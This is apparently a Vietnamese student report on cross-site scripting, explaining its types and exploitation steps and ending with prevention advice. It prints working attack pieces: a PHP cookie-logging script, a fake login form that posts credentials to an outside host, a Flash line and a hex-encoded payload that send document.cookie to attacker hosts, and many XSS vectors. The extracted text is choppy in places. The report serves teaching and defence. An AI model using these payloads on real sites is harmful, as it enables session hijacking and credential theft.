Professional Documents
Culture Documents
CƠ SỞ TP.HCM
Mục lục
1. Với những dữ liệu ngƣời thiết kế và phát triển ứng dụng Web ........................... 23
VIII. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƢƠNG PHÁP TẤN CÔNG BẰNG XSS
........................................................................................................................................ 27
Website ngày nay rất phức tạp và thƣờng là các web động, nội dung của web
đƣợc cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và
hầu hết các website này dùng Cookie để xác thực ngƣời dùng.
Điều này đồng nghĩa với việc Cookie của ai thì ngƣời đó dùng, Nếu lấy đƣợc
Cookie ngƣời dùng nào Hacker sẽ giả mạo đƣợc chính ngƣời dùng đó(điều này là hết
sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều
cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà
hacker thƣờng dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS).
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất
hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với
các nhà phát triển web và cả những ngƣời sử dụng web. Bất kì một website nào cho
phép ngƣời sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã
nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.
XSS đƣợc thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm
đƣợc những công việc sau:
Cross-Site Scripting hay còn đƣợc gọi tắt là XSS (thay vì gọi tắt là CSS để tránh
nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách
chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn
mã script nguy hiểm có khả năng đánh cắp hay thiết lập đƣợc những thông tin quan
trọng nhƣ cookies, mật khẩu, usename…. Trong đó, những đoạn mã nguy hiểm đựơc
chèn vào hầu hết đƣợc viết bằng các Client-Site Script nhƣ JavaScript, JScript, DHTML
và cũng có thể là cả các thẻ HTML.
Phƣơng pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính
máy ngƣời sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết
hạn chế của ngƣời dùng cũng nhƣ biết đánh vào sự tò mò của họ dẫn đến ngƣời dùng bị
mất thông tin một cách dễ dàng.
Thông thƣờng hacker lợi dụng địa chỉ URL để đƣa ra những liên kết là tác nhân kích
hoạt những đoạn chƣơng trình đƣợc viết bằng ngôn ngữ máy khách nhƣ VBScript,
JavaScript…đƣợc thực thi trên chính trình duyệt của nạn nhân
Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn
một đoạn script nguy hiểm (thƣờng là Javascript) vào website của chúng ta thông
qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các
thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc
này thƣờng đƣợc lƣu lại trong database của website chúng ta nên gọi là Stored.
Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách
đúng đắn, khiến cho mã độc đƣợc lƣu vào Database của website.
AN NINH MẠNG 6
Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên
máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền
điều khiển…
XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi
này, chính vì thế ngày càng có nhiều ngƣời quan tâm đến lỗi này.
Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web
không an toàn đã đƣợc xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách
gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS).
Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của ngƣời dùng.
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te
xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phƣơng pháp tấn công
khác.
Kĩ thuật XSS đƣợc mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu
hết các khả năng tiềm ẩn của kĩ thuật này đã đƣợc biết đến. Tuy nhiên chúng ta mới
chỉ khắc phục đƣợc một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót
một lỗi XSS trong bộ lọc của mình. Một phƣơng pháp tối ƣu vẫn còn đang ở phía
trƣớc.
XSS cho phép attacker chèn các đoạn mã vào link của đƣờng dẫn, để thực hiện
trên trình duyệt của ngƣời dùng, dẫn đến việc mất cookies, mật khẩu, session hay
chèn virus…
Thƣờng thì XSS có dạng nhƣ sau:
http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>.
Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟.
Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào
trang Web thông qua URL. Nhƣng thực sự thì có rất nhiều cách để thêm
đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng
lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web
ứng dụng.
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<body onload="[code]">
AN NINH MẠNG 10
<style type="text/javascript">[code]</style>
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.
Về cơ bản XSS cũng giống nhƣ SQL Injection hay Source Injection, nó cũng là
các yêu cầu (request) đƣợc gửi từ các máy client tới server nhằm chèn vào đó các
thông tin vƣợt quá tầm kiểm soát của server
Nó có thể là một request đƣợc gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các
URL nhƣ là :
http://www.example.com/search.cgi?query=<script>alert('XSS was found
!');</script>
Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".
Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể
thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ
script. Cũng chính vì lẽ đó mà chúng ta chƣa thể lƣờng hết đƣợc độ nguy hiểm của
các lỗi XSS.
Nhƣng nếu nhƣ các kĩ thuật tấn công khác có thể làm thay đổi đƣợc dữ liệu
nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối
AN NINH MẠNG 11
với website ở phía client mà nạn nhân trực tiếp là những ngƣời khách duyệt site đó.
Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhƣng
đó vẫn chỉ tấn công vào bề mặt của website.
Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi
trình duyệt phía client do đó XSS không làm ảnh hƣởng đến hệ thống website nằm
trên server.
Mục tiêu tấn công của XSS không ai khác chính là những ngƣời sử dụng khác
của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các
hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng
hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus,
backdoor, worm ...
Trong kĩ thuật XSS thƣờng thì các link mà hacker dùng đều đã đƣợc mã hóa nên
ngƣới dùng khó mà phát hiện ra. Sau đây là cách mã hoá(HEX) các kí tự thƣờng
dùng trong lỗi XSS của thanh AddressBar của Browser.
AN NINH MẠNG 12
Có lẽ không cần liệt kê những nguy hiểm của XSS, nhƣng trên thực tế nếu bạn
có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn
hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó.
Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS,
trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các
website khác khi các lệnh HTML đƣợc hiển thị. Ví dụ nhƣ BadTrans Worm một loại
worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay
Outlook Express:
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
AN NINH MẠNG 13
Content-Type: audio/x-wav;
name="filename.ext.ext"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
Đôi khi đang đọc thƣ bạn bị chuyển sang một website khác, bạn có nghĩ rằng
bạn có thể mất mật khẩu. Trƣớc đây, hàng loạt các hộp thƣ của Yahoo bị mất mật
khẩu hay bị đọc trộm thƣ mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức
thƣ mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây
nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thƣ bạn đã hoàn toàn
bị mất cookie của mình:
Vậy là khi bạn nhận thƣ, và nếu bạn vô tình đƣa con chuột qua bức ảnh gửi kèm
thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy đƣợc, các hacker có
thể dễ dàng login hòm thƣ của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi
cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn đƣợc hầu hết các mối đe
doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo
đã kịp thời vá lỗ hồng nghiêm trọng này, nhƣng không phải vì vậy mà bạn mất cảnh
giác với những "lỗi" của website. Nếu nhƣ bạn gặp một liên kết có dạng:
http://example.com/s...document.cookie)</script>
Chắc chắn bạn sẽ phải xem xét kĩ trƣớc khi click vào. Có thể là sẽ tắt JavaScript
cho trình duyệt của bạn trƣớc khi click vào hay ít nhất cũng có một chút cảnh giác.
Nhƣng nếu bạn gặp một liên kết nhƣ thế này thì sao:
http://example.com/s...72%79%3D<script>
AN NINH MẠNG 14
Đó thực chất chính là liên kết ban đầu nhƣng chỉ khác nó đã đƣợc mã hoá. Một
phần kí tự của liên kết đã đƣợc thay thế bởi mã HEX của nó, tất nhiên trình duyệt của
bạn vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã
nguy hiểm nếu nhƣ bạn mất cảnh giác với XSS.
Tất nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã
đƣợc tìm ra có những kiều chƣa lƣờng hết đƣợc, những trong khuôn khổ bài viết này
tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu nhƣ bạn chỉ muốn kiểm
tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl
Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS
của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trƣờng Unix lẫn Windows.
1. Sử dụng Tool
Sử dụng nhiều chƣơng trình dò quét lỗi của ứng dụng web, ví dụ nhƣ chƣơng
trình Web Vulnerability Scanner để dò quét lỗi XSS.
Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS. 1 Site bất kỳ bao giờ cũng có
AN NINH MẠNG 15
các phần: Search, error message, web form. Chủ yếu lỗi XSS nằm ở phần này, nói
chung XSS có thể xảy ra ở chỗ nào mà ngƣời dùng có thể nhập dữ liệu vào và sau
đó nhận đƣợc một cái gì đó. Ví dụ chúng ta nhập vào chuỗi „XSS‟
Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các
thông tin trả về. Ví dụ chúng ta thấy thế này: „Không tìm thấy XSS…‟ , hay là
„Tài khoản XSS không chính xác‟, „Đăng nhập với XSS không thành công‟… thì
khi đó khả năng chỗ đó bị dính XSS là rất cao.
Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn
những đoạn code của chúng ta vào để thử tiếp, ví dụ nhƣ sau:
Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút
Submit, nếu chúng ta nhận đƣợc một popup có chữ „XSS‟ thì 100% bị dính XSS.
<script>alert('CSS Vulnerable')</script>
&{alert('CSS Vulnerable') };
<META HTTP-EQUIV="refresh"
CONTENT="0;url=javascript:alert('XSS');">
<EMBED SRC="http://ha.ckers.org/xss.swf"
AllowScriptAccess="always"></EMBED>
Nhƣng xin chú ý , thỉnh thoảng vẫn có trƣờng hợp website đó bị dính XSS
nhƣng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES
(mổ bụng) nó ra để xem .
Khi view sources nhớ kiếm dòng này < script>alert('XSS)< /script> , nếu có
thì chắc chắn là website đó lỗi XSS 100%.
Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm đƣợc nơi bị lỗi nhƣ
thế này : http://websitebiloi.com/index.php?page=<script...< script=""> nghĩa là
ta có thể chèn code ngay trên thanh ADDRESS.
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại
không gây hại đến hệ thống của sever mà đối tƣợng tấn công chủ yếu của XSS lại là
ngƣời dùng!
Ứng dụng Web thƣờng lƣu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông
tin mà ứng dụng lƣu trên đĩa cứng của ngƣời sử dụng. Nhƣng chỉ ứng dụng thiết lập
ra cookie thì mới có thể đọc nó. Do đó chỉ khi ngƣời dùng đang trong phiên làm việc
của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên
của hacker là tìm trang đích để dụ ngƣời dùng đăng nhập sau khi đã tìm ra lỗ hổng
trên ứng dụng đó.
Sau đây là các bƣớc khai thác XSS theo truyền thống:
AN NINH MẠNG 17
hỏng XSS.
Bước 2: Ngƣời dùng nhận đƣợc 1 liên kết thông qua email hay trên chính trang Web
(nhƣ trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).
Thông thƣờng hacker khiến ngƣời dùng chú ý bằng những câu kích thích sự tò mò của
ngƣời dùng nhƣ “ Kiểm tra tài khoản”, “Một phần thƣởng hấp dẫn đang chờ bạn”…
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ
của hacker.
Bước 4: Hacker tạo một chƣơng trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
Bước 5: Sau khi nhận đƣợc thông tin cần thiết, hacker có thể sử dụng để thâm
Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file
này lên host của bạn nhƣ sau:
<?php
$cookie = $_GET['c'];
$ip = getenv('REMOTE_ADD');
$date = date("j F, Y, g:i, a");;
$referer = getenv('HTTP_REFERER');
$fp = fopen('info.txt','a');
fwrite($fp,'Cookie: '.$cookie. 'IP:' .$ip. 'date:' .$date. 'Referer: '.$referer.' ');
fclose($fp);
header("location: http:// hostxss.com /");
?>
Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website
(bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có
hostname là của trang web bị nhiễm XSS) dạng nhƣ sau :
Thứ hai: Tạo thêm một file xss.js và cũng upload file này lên host của bạn:
File này là để tạo ra một facesite (trang web giả giống trang web thật)
để khi ngƣời dùng nhập username và password thì chúng ta sẽ điều hƣớng và
lƣu thông tin trên file info.txt.
AN NINH MẠNG 19
document.body.innerHTML=„
<img src=images/system/logo_main.gif alt=VieclamBank width=230 height=48
border=0>
<BR><br><br>
<center>Thông tin đăng nhập<BR>
<form action=http://www.hostupfile.com/cookie.php
method=POST><table><TR><TD>Tên đăng nhập:</TD><TD><input
name=ten></TD></TR><TR><TD>Mật khẩu:</TD><TD><input name=mk
type=password></TD></TR><TR><TD></TD><TD><input type=submit
value=Login></TD></TR></table></form>
</center>'
Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có
hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng nhƣ sau và
gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script
vào)
Khi đó bên phía ngƣời dùng sẽ có một trang web giả mạo(face site): Ngƣời
dùng không phát hiện ra và khi đăng nhập thì cookie hay usename và password sẽ
đƣợc lƣu lại trong file info.txt trên server của hacker.
Ngoài những cách đƣa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng
những tập tin flash để đánh cắp thông tin.
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã đƣợc xây
dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tƣơng tự
nhƣ JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web
khác, tham số thƣờng là một URL chẳng hạn nhƣ “http://www.yahoo.com”.
Ví dụ 5: getURL(“http://www.yahoo.com”)
Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập
tin flash đó. Nhƣ vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn
JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về
cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽ đƣợc thi hành khi
tập tin flash đƣợc đọc:
getURL(“javascript:location(„http://www.attacker.com?newcookie=‟+do
cument.cookie)”)
Nhƣ vậy là khi ngƣời dùng xem trang web chứa tập tin flash này thì ngay
lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.
DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập
tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của
các thành viên và cũng có thể là tài khoản của ngƣời quản trị web, bằng cách đăng
kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các
nạn nhân xem tập tin flash đó. Dƣới đây là địa chỉ liên kết dến một tập tin flash nhƣ
đã trình bày trong ví dụ trên.
http://www.deviantart.com/deviation/1386080
Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML nhƣ diễn
đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công
này, bằng cách nhập đoạn mã gọi tập tin flash vào.
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-
444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flas
AN NINH MẠNG 21
h/s
wflash.cab#version=6,0,0,0"
WIDTH="60"
HEIGHT="48"
id="1"
ALIGN="">
<PARAM NAME=movie
VALUE="http://www.ke_tan_cong.com/vidu.swf">
quality=high
bgcolor=#FF9900
WIDTH="60"
HEIGHT="48"
NAME="1"
ALIGN=""
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</OBJECT>
AN NINH MẠNG 22
Ngoài việc lấy cookies, các attacker còn có thể hƣớng trình duyệt của ngƣời dùng
đến trang web mà Attacker thiết kế sẵn!
Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code nhƣ sau:
Ngoài ra bạn hoàn toàn có thể dùng hàm open, close window để chuyển hƣớng web
sang một trang web khác bạn muốn.
Còn cách này hay hơn : Dùng hàm write. In ra một thẻ div đặt độ rộng là 1024, cao
800. possion : absulitly, left=0, top=0. Nhƣ vậy là cái div vừa tạo sẽ che toàn bộ màn
hình, thế là ngƣời dùng đã vào trang lừa đảo của các attacker!
Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game,
shopping, Ngân hàng, Tín dụng... hoặc là chèn virus!
Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt nhƣ ' hay + để tránh các việc chèn
lệnh trên URL để tấn công SQL hay XSS nhƣng một attacker cao tay sẽ dễ dàng giải
quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác
-----------------------------------
Hex Usage:
http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%
74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%
AN NINH MẠNG 23
3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63
%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%6
3%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%
65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72 %69%70%74%3e
---------------------------------
Nhƣ đã đề cập ở trên, một tấn công XSS chỉ thực hiện đƣợc khi gửi một trang
web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công.
Ngƣời ta không lƣờng hết đƣợc mức độ nguy hiểm của XSS nhƣng cũng không
quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề
này. OWASP (The Open Web Application Standard Project) nói rằng để có thể
xây dựng các website bảo mật cao đảm bảo những trang phát sinh động không
chứa các tag của script, đối với các dữ liệu của ngƣời sử dụng bạn nên làm những
việc sau:
1. Với những dữ liệu người thiết kế và phát triển ứng dụng Web
Những dữ liệu, thông tin nhập của ngƣời dùng, ngƣời thiết kế và phát triển ứng
dụng Web cần phải thực hiện vài bƣớc cơ bản sau:
Tạo ra danh sách những thẻ HTML đƣợc phép sử dụng, xóa bỏ thẻ <script> hoặc
đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó nhƣ là một đoạn
trích dẫn thôi.
Lọc kí tự Null
Xóa những kí tự “ > ”, “ < ” hoặc Output Encoding các dòng nhƣ sau
( ( ) )
Vẫn cho phép nhập những kí tự đặc biệt nhƣng sẽ đƣợc mã hóa theo chuẩn riêng
Mã hóa
Lỗi XSS có thể tránh đƣợc khi máy chủ Web đảm bảo những trang phát sinh
đƣợc mã hóa (encoding) thích hợp để ngăn chạy chạy các script không mong
muốn.
Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi
qua một hàm mã hóa nơi mà các thẻ script sẽ đƣợc thay thể bởi mã của nó.
Nói chung, việc mã hóa(encoding) đƣợc khuyến khích sử dụng vì nó không yêu
cầu bạn phải đƣa ra quyết định những kí tự nào là hợp lệ hoặc không hợp lệ.Tuy
nhiên việc mã hóa tất cả dữ liệu không đáng tin cậy có thể tốn tài nguyên và
ảnh hƣởng đến khả năng thực thi của một số máy chủ
Tuy nhiên trên thực tế, một số trƣờng hợp bạn phải chấp nhận mọi loại dữ liệu
hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để
giải quyết.
Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trƣớc khi
in ra website, nhất là những gì có thể gây nguy hiểm cho ngƣời sử dụng. Trong
AN NINH MẠNG 25
trƣờng hợp này thẻ script sẽ đƣợc đổi thành script. Nhƣ vậy nó sẽ vẫn đƣợc in
ra màn hình mà không hề gây nguy hiểm cho ngƣời sử dụng.
Tôi lấy ví dụ với script search.cgi với mã nguồn là:
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $query = $cgi->param('query');
print $cgi->header();
print "You entered $query";
Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu đƣợc nhập
vào. Dĩ nhiên là khi in ra, nó sẽ in ra dƣới dạng đoạn mã HTML, nhƣ thế nó không
chỉ không in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn
lỗi XSS.
Nhƣ đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự
đặc biệt của HTML với hàm HTML::Entities::encode(). Nhƣ vậy ta có thể có một
mã nguồn hoàn hảo hơn nhƣ sau:
#!/usr/bin/perl
use CGI;
use HTML::Entities;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered ", HTML::Entities::encode($text);
Tất nhiên với phƣơng pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ
Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trƣớc
khi in ra, các bạn có thể dùng một chƣơng trình đƣợc viết bằng ngôn nhữ PHP, đặc
biệt nó đƣợc thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chƣơng
AN NINH MẠNG 26
use Apache::TaintRequest;
my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');
$r->content_type("text/html");
$r->send_http_header;
Cần cấu hình lại trình duyệt để nhắc nhở ngƣời dùng có cho thực thi ngôn ngữ
kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà ngƣời dùng sẽ
quyết định
Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript - kiểm
soát script từ web
Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào các
link, và với email chúng ta cần phải kiểm tra các link hay những hình ảnh quảng
cáo thật kĩ. Và tóm lại chúng ta sẽ an toàn hơn khi có sự cảnh giác cao hơn.
AN NINH MẠNG 27
VIII. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƯƠNG PHÁP TẤN CÔNG BẰNG XSS
Mã JavaScript độc có thể truy cập bất cứ thông tin nào sau đây:
• Cookie cố định (của site bị lỗi XSS) đƣợc duy trì bởi trình duyệt.
• RAM Cookie (của site bị lỗi XSS)
• Tên của tất cả các cửa sổ đƣợc mở từ site bị lỗi XSS
• Bất cứ thông tin mà có thể truy cập đƣợc từ DOM hiện tại (nhƣ value, mã
HTML…)
Trong thời gian vừa qua ta thấy rằng phƣơng pháp tấn công vào lỗi XSS của các
trang web vẫn nằm ở con số rất cao chỉ sau SQL Injection. Cho nên phƣơng pháp
tấn công XSS vẫn đƣợc coi nhƣ là rất khả thi để thực hiện và việc tấn công vẫn còn
rộng rãi.
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, và mức độ thiệt hại của chúng
có thể gây những hậu quá rất nghiêm trọng. Vì thế, ngoài việc ứng dụng kiểm tra
AN NINH MẠNG 28
tính đúng đắn của dữ liệu trƣớc khi sử dụng thì việc cần nhất là ngƣời dùng nên
cảnh giác trƣớc khi bƣớc vào một trang Web mới hay khi nhận đƣợc một email rất
thu hút nào đó. Có thể nói, nhờ vào sự cảnh giác của ngƣời dùng thì 90% đã đạt
đƣợc sự bảo mật trong kĩ thuật này.
4. http://ha.ckers.org/xss.html
5. http://www.hungry-hackers.com/2010/09/xss-cross-site-scripting-attack.html
6. http://vibe.vn/threads/35350/
7. https://www.owasp.org/index.php/XSS